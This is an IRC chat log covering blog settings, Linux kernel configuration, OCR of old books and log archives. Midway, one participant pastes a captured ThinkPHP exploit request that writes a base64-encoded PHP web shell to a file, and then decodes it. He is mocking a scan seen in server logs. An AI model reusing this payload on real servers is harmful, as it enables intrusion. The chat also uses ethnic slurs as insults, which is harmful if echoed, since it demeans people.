tmsr - Log 2019-02-11

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mod6: can this be set in the admin-thingy? or does this have to be straight into the PHP?

BingoBoingo: mod6: From the admin-thingy

mod6: Settings->Permalink Settings->Month and name (radio button) looks like.

BingoBoingo: Aha, any of those work

mod6: ok, that blog post is now: http://blog.mod6.net/2019/02/a-cuntoo-adventure ☟︎

mod6: cheers, bbl.

BingoBoingo: Thank you o7

hanbot: !!key ave1

deedbot: http://wot.deedbot.org/57EE94EA6F2049A47DAFA8568F4CE8F777BC59F9.asc

lobbes: http://btcbase.org/log/2019-02-10#1894807 << verily. And not even necessarily rocks he hit, but also rocks avoided that less experienced folx may hit (for e.g., I have never debugged a kernel before. Now, when my time to do that comes I know I can check http://blog.mod6.net/2019/02/a-cuntoo-adventure/ to re-read how mod6 did it). ☝︎

a111: Logged on 2019-02-10 21:14 BingoBoingo: For my own selfish reasons I want to see what you hit your head on, because there is a very real chance when I go to try things I will also hit my head on the same rocks

lobbes: And the utility of reporting applies to oneself too; even though my flailings in http://blog.lobbesblog.com/2019/01/initial-cuntoo-testing/ may not be of use to anyone else, -I- now have a ready history of wtf I was thinking/doing years down the line, from which to diff

lobbes: btw, I managed to finally get a handrolled heathen gentoo installed the other day (my first one ever). Still wrestling with getting networking functional, but once I do I'ma get vtools set up, and then give the cuntoo bootstrap.sh another spin

hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance. ☟︎☟︎

feedbot: http://bingology.net/2019/02/11/just-about-everything-i-grew-up-understanding-to-be-normal-is-a-recent-invention/ << Bingology - BingoBoingo's Blog -- Just About Everything I Grew Up Understanding To Be Normal Is A Recent Invention

mircea_popescu: http://btcbase.org/log/2019-02-10#1894867 << is it clear which kernels work or what exactly as of yet ? ☝︎

a111: Logged on 2019-02-10 22:50 trinque: great! so lilo worked, and your kernel config was busted.

mircea_popescu: http://btcbase.org/log/2019-02-10#1894872 << he's not trapped, he could change them today to no ill effect. he just opts to be irrationally weird about it. ☝︎

a111: Logged on 2019-02-10 23:32 BingoBoingo: mod6: Please on your blog go into the settings and change the number urls to human readable urls before it is too late and you are stuck in the trap asciilifeform is

asciilifeform: mircea_popescu: i dunlike shit urls anymoar than anyone else, it's down there on conveyor , somewhere below the various roaring fires

mircea_popescu: alrighty then

asciilifeform: http://btcbase.org/log/2019-02-10#1894755 << ty diana_coman , got it, will report when replicated ☝︎

a111: Logged on 2019-02-10 20:31 diana_coman: asciilifeform, and anyone else interested in testing Ada's failure to abort, minimal test setup: ossasepia.com/available_resources/test_tasks_ada.zip

mircea_popescu: http://btcbase.org/log/2019-02-10#1894874 << you know, you ~could~ just alter the setup yourself, make a patch or such. ☝︎

a111: Logged on 2019-02-10 23:33 BingoBoingo adds "human readable urls" to mp-wp setup steps

mircea_popescu: make the /year/slug format the default an' be done with it.

asciilifeform: mircea_popescu: re 'which kernels work?' : this is a++ q, but sadly incomplete, instead q is always 'which kernels for on $iron'

asciilifeform: for instance asciilifeform has a known-working config for all dulap-like boxen; presently in use by diana_coman on iirc both diana_coman units; another for rkisms

mircea_popescu: anything, really.

asciilifeform: i regret to inform that i do not have a config that works on 'anythings'

BingoBoingo: mircea_popescu: The default in the recipe has changed going forward after a bit of reflection reveals it was my failing

mircea_popescu: "we have so far tried : X (a, b, c works), Y (b, d), Z (a, c, e). let us know if you try more please."

mircea_popescu: asciilifeform i mean "any information whatsoever."

asciilifeform: mircea_popescu: http://btcbase.org/log/2018-09-04#1847310 re earlier. ☝︎

a111: Logged on 2018-09-04 14:50 mircea_popescu: alright. so basically, we have a july latest-kernel from alf at http://nosuchlabs.com/pub/conf_current.conf << diana_coman trinque erryone else interested read and see if it works for you / comment ?

mircea_popescu: aha.

asciilifeform: ( i keep it updated also, it is current as of the last rebuild )

mircea_popescu: but that's just straight up a binary. and if you keep it updated, guess what, it's a ~changing~ binary.

asciilifeform: the linked item is a text conf

mircea_popescu: oh oh.

asciilifeform: recently as experiment i build a 'latest' kernel with it; and it required curing ! lemme dig up thread :

mircea_popescu: # Linux/x86 4.9.76-gentoo-r1 Kernel Configuration

asciilifeform: http://btcbase.org/log/2019-01-19#1888343 << thrd ☝︎

a111: Logged on 2019-01-19 17:56 asciilifeform: briefly revisiting the http://btcbase.org/log/2019-01-18#1888182 find : 'CONFIG_RETPOLINE=n' yields a working kernel (with gcc 4.x), for nao.

mircea_popescu: CONFIG_64BIT=y CONFIG_X86_64=y CONFIG_X86=y << always a pleasure to read these.

asciilifeform: the 'official' kernel is headed straight to bottom of the sea.

asciilifeform: already beginning to tip, like titanic, and blowing horn one final time.

asciilifeform: mircea_popescu: it's a reasonably compact kernel, to support various items currently in standard use, raid card, FG serial dongles, iptables.

mircea_popescu: asciilifeform yeah, and has to set things nine different times because reasons. CONFIG_NORLYNOT32BiT=y #(note the i in there!)

asciilifeform: all currently fielded asciilifeform kernels are small variations on that 1.

mod6: I can give it a try and report back on this as well. I have a couple of things to investigate for trinque first though.

asciilifeform: mircea_popescu: good % of the flagolade is auto-set by the configurator, it's not exactly a civilized product

mircea_popescu: aha.

asciilifeform: ( afaik the last 'fits-in-head' kernel was 1.sumthing... )

trinque: any chance of mechanically ripping the source out for anything set to "N", or did progress shit all over any hope

trinque has not looked into this deeply

asciilifeform: trinque: betcha it's actually doable

asciilifeform: tho not necessarily mechanically, lotsa 'spaghetti' interwound liquishit in'ere.

mircea_popescu: it might be doable if one is found to shit a weekend babying a machine.

asciilifeform: optimistically

asciilifeform: prolly moar like a yr+ of weekend.

mircea_popescu: well, after the first one in much better position for guess.

asciilifeform: ( consider how long took to clean , to reasonable level of non-sepsis, trb -- a 200x smaller product )

asciilifeform: http://btcbase.org/log/2019-02-10#1894768 << nao if only ocr actually worked. ( asciilifeform admits, never had much enthusiasm for 'let's preserve gutenberg' on acct of most of it being ~unreadable, even the orig jpegs or whatnot are often '90s-quality and wtf to do with'em but throw out, and ditto the text ) ☝︎

a111: Logged on 2019-02-10 20:51 mircea_popescu: http://btcbase.org/log/2019-02-10#1894713 << i specifically don't even WANT the "rich media" / dvds / epubs / pdfs / whatever bullshit. i don't even want their pagelong blathers about how all-important inca is or whatever shit.

asciilifeform: nao, http://btcbase.org/log/2019-02-04#1892273 is ~also~ ocr'd! but the mistakes are ppm level, not '3 per para'. reason for this is that the ru folx ~actually fucking read~ ☝︎

a111: Logged on 2019-02-04 16:41 asciilifeform: http://flibusta.is is asciilifeform's routine 'gutenberg', been a while since i looked at the actual one

mircea_popescu: omfg Mocky_ how do i link to a specific comment on your site!111

asciilifeform: the anglosads, near as i can tell, scanning in their shakspeares and... never touched again.

BingoBoingo: asciilifeform: The solution to OCR is castle scribes spending man centuries, as mircea_popescu is deploying with Bimbo

asciilifeform: BingoBoingo: the other solution is that the folx who did the orig scan actually give half a shit and proofread. but this is evidently not ever happening in anglostan outside of dedicated effort like mircea_popescu's

BingoBoingo: Too much to scan

mircea_popescu: check out that horror, <div class="exampleblock"> <div class="content"> <div class="dlist"> <dl> <dt class="hdlist1">. and of course i can't use #hdlist1 because all comments are hdlist1.

mircea_popescu: what am i gonna do now, exclude linking him cuz admin reasons ? scandal!

asciilifeform: BingoBoingo: flibusta mirror was ~100G last i looked. of ~ascii text~ .

asciilifeform: not pdf, not ??? , etc

asciilifeform: ( well technically 'koi' txt, but still , txt, not bitmapolade )

asciilifeform: diff is, those b00kz, from marshak's transl of shakespeare to the lowest pulp liquishits, ~get read~

mircea_popescu: asciilifeform only reason they scan in "their" shakespears WHICH NEVER WERE NOR WILL EVER BE THEIRS, http://btcbase.org/log/2017-09-09#1711670 africans as they are, is so that they can add their self-important vomit up top. "copyrights blablabla" didntcha know. ☝︎

a111: Logged on 2017-09-09 18:34 mircea_popescu: http://btcbase.org/log/2017-09-09#1711610 << loller. shakespeare, one of the oldest and most established audre lorde

asciilifeform: mircea_popescu: these dun exist in the ru warez libs either

asciilifeform: no 'headers', no copyrasty garbage.

asciilifeform: goes straight to pg.1.

mircea_popescu: right ? which is exactly all the proof i need.

mircea_popescu: only reason ustard has book in library is as a pedestal for his tupperware sales pitch.

asciilifeform: mircea_popescu: this goes way back. lemme dig up a recently-found sad :

asciilifeform: recently asciilifeform wanted to quote from s. brant's 16th c. lul 'narrenschiff'. mega-longseller-bestseller in all of europistan, incl. su. so went 'hrm, iirc there's an english'. guess what found ? http://www.gutenberg.org/files/20179/20179-h/20179-h.htm

asciilifeform: ^ not only encrusted with gutenbergism, but quarter meg from orig 16th derp !

asciilifeform: and the 'translation' -- ain't

asciilifeform: it is clear that barclay didn't know a word of orig de !!

asciilifeform: someone summarized for him, and he shat out a 'cliffs notes'

mircea_popescu: heh

asciilifeform: and added buncha rubbish, like ' praises of the "noble Henry which now departed late'

asciilifeform: aand 'Of predestinacyon.'

asciilifeform: and 9000 other ???wtfomfg.

asciilifeform: the fucktards had 'gutenberg quality'... in 1500s!!!

mircea_popescu: anglotards. not spontaneously generated, no.

asciilifeform: this was so depressing, i did not even put in log

asciilifeform: but nao i gotta, because it is exactly apropos

mircea_popescu gives up, links mocky's whole article instead of intended comment.

mircea_popescu: IF YOU LOVE ME YOU NEVER FORCE ME TO DO THIS SORTA THING!!! ☟︎

BingoBoingo: asciilifeform: See http://trilema.com/2015/ok-so-what-is-bitcoin-disrupting/#selection-313.0-313.284

mircea_popescu: word!

asciilifeform: diana_coman et al : http://p.bvulpes.com/pastes/4SpwP/?raw=true << built, replicated test jig; i'ma lay the thing out on vivisection table properly after sleep ( spent today , among other things, fixing a furnace, bent wrists out , gotta let'em snap back )

asciilifeform: http://btcbase.org/log/2019-02-11#1894887 << i have not forgotten you, mod6 ! will grant wishes in the order lamp was rubbed, promise ☝︎☟︎

a111: Logged on 2019-02-11 00:03 mod6: ok, that blog post is now: http://blog.mod6.net/2019/02/a-cuntoo-adventure

mircea_popescu publishes, then goes to look at spamtrap, there's EIGHTEEN items in it. "hory shit my spamthing finally croaked?!"

mircea_popescu: nope... it's just bingo hitting it hard.

mircea_popescu: (but, in other good news, your pingback thing also works fine.)

asciilifeform: mircea_popescu: a++ plantator hat

mircea_popescu: innit tho!

BingoBoingo: <mircea_popescu> (but, in other good news, your pingback thing also works fine.) << ty, Lardner set me on a re-reading binge

mircea_popescu: people HERE fcuking love it. bought an armful of roses few days ago, dood selling it was like "that's a great hat, mr! say, when you're done with it, don't throw it out, throw it at me, i'd love to have it."

asciilifeform bbl , horizontal

feedbot: http://trilema.com/2019/so-they-found-it/ << Trilema -- So they found it!

mircea_popescu: trinque is it actually the case that cuntoo can't boot off a non-first drive ? if so easy enough to check.

trinque: yeah, I'm specifying root=/dev/sda3 in lilo; whereas if I specified root=UUID=D9FCABCA-1F52-4A84-9CB8-4898F8DEC6AE, oughta be able to boot properly even if drive enumeration changes. that'd be nice for the infectious/reproductive angle later. ☟︎

mircea_popescu: oh damn.

mircea_popescu: well then of fucking course it can't find a sda3 that doesn't exist, he needs sda2 or w/e ?

mircea_popescu: "kernel is bad" in the sense of beign very bad for being somewher eentirely else.

trinque: if it's the case that he left it as an external usb disk, looks like kernel didn't know the disk was there, so the kernel he builds would have to know of the usb chip he has. ☟︎

mircea_popescu: aha.

trinque: but even if the kernel knew it was there, if that disk wasn't "sda", nah, wouldn't work. this didn't stick out at me because "bootstrapper" grew out of my own tooling for stamping out an internal boot disk for new machine.

mircea_popescu: well at least this got somewhere. mod6 does the ^ make sense ?

mircea_popescu: BingoBoingo different different metals ; count take them ; become and exercise ; against which the rest of the world moves against ; punative prison ; human chattle ; become and entrenched

BingoBoingo: ty, fxd

BingoBoingo: Comment replied to as well

feedbot: http://bimbo.club/2019/02/i-got-99-problems/ << Bimbo.Club -- I got 99 problems.

feedbot: http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1716-part-i/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1716. - Part I.

diana_coman: http://btcbase.org/log/2019-02-11#1894896 -> ha, apparently you caught old hosting precisely when they messed up; thank you for reporting it, I'll have to sort it out (I had redirection set up from dianacoman->ossasepia since I'm sure it's not only my internal links but atm it's broken, will fix) ☝︎

a111: Logged on 2019-02-11 01:33 hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance.

auctionbot: Buy order # 1040 has ENDED: 500 Wired Filthy Fiats (WU is fine) SOLD by jurov for 154mn ecu. Attn: BingoBoingo

phf: i saw the x11 thread, will respond in a day or two once i'm on a more reliable internet

asciilifeform: phf et al : 1 of asciilifeform's ancient backburner crackpotteries is... an iron x terminal. ( these -- existed, but would be imho useful to have a proper one, that 1) runs off rom 2) can drive N large displays )

asciilifeform: i.e. fully an' properly separate rasterism from the comp per se, never buy video cards again..

asciilifeform: imho the traditional kitchen-toilet system is inherently unhygienic

asciilifeform: diana_coman: i found in my notes from 'programming of hell' a possible pill for the async stop thing, will report once i verify that it actually cures , on the actual gnat

mircea_popescu: asciilifeform much later tho

mircea_popescu: meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true ☝︎☟︎

a111: Logged on 2018-08-01 03:07 douchebag: Also the security firm I'm working on is expected to pull at least a half million dollars by december

mircea_popescu: bonus securities : http://p.bvulpes.com/pastes/1N8AA/?raw=true

BingoBoingo: Ah, they never end

mircea_popescu: meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115 ☟︎

asciilifeform: guten morgen mircea_popescu !

mircea_popescu: heya

asciilifeform: http://btcbase.org/log/2019-02-11#1895021 << i saw nearly half MB of these in dulap log not long ago. iirc they're pill for ciscoisms ☝︎

a111: Logged on 2019-02-11 16:16 mircea_popescu: meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true

asciilifeform: http://btcbase.org/log/2019-02-11#1895025 << ha. speaking of which, the particle thrower is to arrive today. ☝︎

a111: Logged on 2019-02-11 16:32 mircea_popescu: meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115

asciilifeform: will prolly take asciilifeform a coupla days to hoist it on the pedestal and test, tho, conveyor is currently packed

mircea_popescu: aha.

asciilifeform: s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy

mircea_popescu: you know ? VERY much an exercise in http://btcbase.org/log/2017-07-18#1686299 ☝︎

a111: Logged on 2017-07-18 22:58 asciilifeform: whaack is quite likely thinking of the bulk of the b00k, which consists of blockcipher liquishit which is complicated for no reason at all other than the religion where 'it is confusing to ME, author, and therefore Must Be Hard To Break'

mircea_popescu: "i feel this is security-flavoured!"

asciilifeform: payload, btw, is CnluXun<?php @eval($_POST['lx']);?>

asciilifeform: fwiw.

mircea_popescu: longer more complex incantation has better chances at communing with the spirit.

asciilifeform: it's a snoar, straight trigger for pre-emplaced booby, decorated to get past some idjit ids thing somewhere

mircea_popescu: a LARGE portion of why "computer security" is SUCH a popular activity has to do with the profoundly african mentality of most... well, africans, to put it plainly.

mircea_popescu: "you mean i have to sit by magic stone all day come up with incantations ? SIGN ME UO!!!"

asciilifeform: mircea_popescu: there's 2 'symbiotic' sets of africans involved, 'voodoo' and 'hoodoo' practitioners, if you will

asciilifeform: erry bit equally african.

mircea_popescu: aha. but they're both very... well, in Mr. Oover's terms, not white men.

asciilifeform: white man, if legend is to be believed, built the temple walls , but in living memory nobody's seen'em beneath the monkey shit.

asciilifeform: ( if one were to ask monkey -- it's shit allthewaydown(tm) )

mircea_popescu: white man also didn't build straw & cardbox airplanes.

asciilifeform: speaking of these -- did anybody ever properly catalogue all known various attempts to 'replicate daedalus' ?

asciilifeform: y'know, where derp jumps from belltower with 'wings'

mircea_popescu: you want a list of all the urban sidewalk pizza ?

asciilifeform: specifically-'flight'-flavoured

asciilifeform: i dun think there were that many recorded ( can only think of 2 right off memory )

asciilifeform: !#s холоп Никита

a111: 0 results for "холоп Никита", http://btcbase.org/log-search?q=%D1%85%D0%BE%D0%BB%D0%BE%D0%BF%20%D0%9D%D0%B8%D0%BA%D0%B8%D1%82%D0%B0

asciilifeform: hrm, apparently not in l0gz.

asciilifeform: 16th c.

asciilifeform: supposedly didn't even splat. coupla would-be imitators (as late as 18th) did, tho

asciilifeform: ( what's worse than 'straw & cardboard airplane' ? straw&cardboard that ~worx~, for 1 flight, and for no -- accessible to orc -- logical reason )

mats: http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz ☝︎☟︎

asciilifeform: in 'nikita the peon' incident, is remembered largely because, per the chronicle, ivan iv was present, and clapped, but proclaimed 'it is unbecoming of man to imitate the birds'

asciilifeform brb, the crane truck is here

mircea_popescu: mats now if you could devise some method to film alf for the next coupla hours...

asciilifeform: aaand it's done.

asciilifeform: lol

asciilifeform: mircea_popescu: only ~70kg, but slippery fucker, wrapped in kilometre of cellophane

mircea_popescu: there's always next time.

asciilifeform: mircea_popescu: it aint a 'sexy' looking item, really, resembles mini fridge , only with buttons/lcd thing

asciilifeform: https://archive.is/MjEpi << dealer specs, ftr

asciilifeform: i dun have the ccd option tho, for some reason these cost weight in gold

asciilifeform: ( as it was -- coupla hundy, + same for the trucker's fee )

asciilifeform: iirc most of the mass is pb in the cabinet.

asciilifeform: shinohai: lost yer key or wat ..?

shinohai: Nah why u ask ?

asciilifeform: * shinohai is now known as derp

asciilifeform: * derp is now known as shinohai

asciilifeform: ?

asciilifeform: 'mmmmrrrghmmmm!!' 'are you sucking on a gag??' 'nah why didjaask'

shinohai: oh that .... I'm doing some bot testing.

asciilifeform: lolk

feedbot: http://qntra.net/2019/02/british-mum-arrested-at-home-for-gendering-fellow-online/ << Qntra -- British Mum Arrested At Home For Gendering Fellow Online

trinque: deadnaming eh. there's a new one for me.

trinque: curious things, these factual realities that evaporate the moment random bum says otherwise. ☟︎

BingoBoingo: Notice I didn't use the Pantsuit term. If anything we ought to preserve 'deadnaming' in our namespace for characters like bitcoin_charlie, Nefario, Taaki, Toomim, et al. Actual dead names whether or not the corresponding meat recieves oxygen.

trinque: republic already had it, as "damnatio memoriae"

BingoBoingo: Still, there's a benefit in having synonyms to erode their namespace

trinque grants

BingoBoingo: So long as there is resistance to what Pantsuit means by deadnaming and clarity as to what the Republic means, they gotta expend some of their infinite hitpoints of idiocy fighting the sorts of socialists like Anglin who want a different sort of socialist femstate

shinohai: http://btcbase.org/log/2019-02-11#1895061 <<< Ya know, I was gonna delete those out of uploads folder, but considering they might be useful for historical purposes I'll save them to http://btcinfo.sdf.org/library/ ☝︎

a111: Logged on 2019-02-11 17:16 mats: http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz

shinohai: (I also have copy of all those gpg keys I scraped from tardstalk too) ☟︎

asciilifeform: lol i took a look at these, whole parallel world where '2011 4evah'

asciilifeform: whole battalion of derps fighting over pocket change, bloviating over 'security' and 'p2p', etc

asciilifeform: shinohai: mirrored nao at dulap, http://nosuchlabs.com/pub/liquishit/btcotclogs.tar.gz .

shinohai: sweet.

jurov: BingoBoingo: pls pgp me the wire details

BingoBoingo: jurov: http://p.bvulpes.com/pastes/w47qv/?raw=true

BingoBoingo: Yes account number is relatively short. This is a small country with few accounts to fill the account number space.